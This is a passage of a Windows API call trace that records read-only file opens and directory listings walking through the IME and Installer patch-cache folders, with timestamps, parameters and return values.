	[0086.876] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMETC10\\DICTS\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe4de0b0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9c6d4a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9c6d4a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.881] CreateFileW (lpFileName="C:\\Windows\\IME\\IMETC10\\HELP" (normalized: "c:\\windows\\ime\\imetc10\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.881] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\IMETC10\\HELP\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe97aa96, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe97aa96, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.882] CreateFileW (lpFileName="C:\\Windows\\IME\\en-US" (normalized: "c:\\windows\\ime\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.882] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\en-US\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.883] CreateFileW (lpFileName="C:\\Windows\\IME\\imekr8" (normalized: "c:\\windows\\ime\\imekr8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.883] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\imekr8\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe46bca2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe491dfc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe491dfc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.883] CreateFileW (lpFileName="C:\\Windows\\IME\\imekr8\\dicts" (normalized: "c:\\windows\\ime\\imekr8\\dicts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.883] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\imekr8\\dicts\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe908688, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe908688, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.883] CreateFileW (lpFileName="C:\\Windows\\IME\\imekr8\\help" (normalized: "c:\\windows\\ime\\imekr8\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.884] FindFirstFileW (in: lpFileName="C:\\Windows\\IME\\imekr8\\help\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe491dfc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe92e7e2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe92e7e2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.884] CreateFileW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.884] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\*", lpFindFileData=0x124e79e0 | out: lpFindFileData=0x124e79e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x72a697c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xeda8bc40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeda8bc40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.886] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$" (normalized: "c:\\windows\\installer\\$patchcache$"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.886] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\*", lpFindFileData=0x124e797c | out: lpFindFileData=0x124e797c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x343990d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x343990d0, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.886] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed" (normalized: "c:\\windows\\installer\\$patchcache$\\managed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.886] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xdef2fd00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdef2fd00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.890] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109340000000100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.890] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb594a720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb594a720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.890] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109340000000100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.890] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xae376620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xae376620, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.896] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109340090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.896] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xba7d7d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba7d7d20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.896] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109340090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.896] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xba73f7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba73f7a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.899] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109450090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.900] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbd89e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbcbfeb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbcbfeb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.900] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109450090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.900] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbfeb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xbcbfeb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbcbfeb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.900] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\000041094b0090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.900] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0d2c20, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.901] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\000041094b0090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.901] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.902] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109510090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.902] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc25da9c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.903] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109510090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.903] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.903] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109511090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.903] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc485e8c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc485e8c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.903] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109511090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.904] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc485e8c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc485e8c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.904] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109810090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.904] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.905] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109810090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.905] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.905] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109b10090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.905] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24a9ec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.905] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109b10090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.906] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.906] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109c20090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.906] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa8a7efe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8a7efe0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.906] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\14.0.4763" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109c20090400100000000f01fec\\14.0.4763"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.906] FindFirstFileW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa8a7efe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8a7efe0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.907] CreateFileW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\00004109e60090400100000000f01fec"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
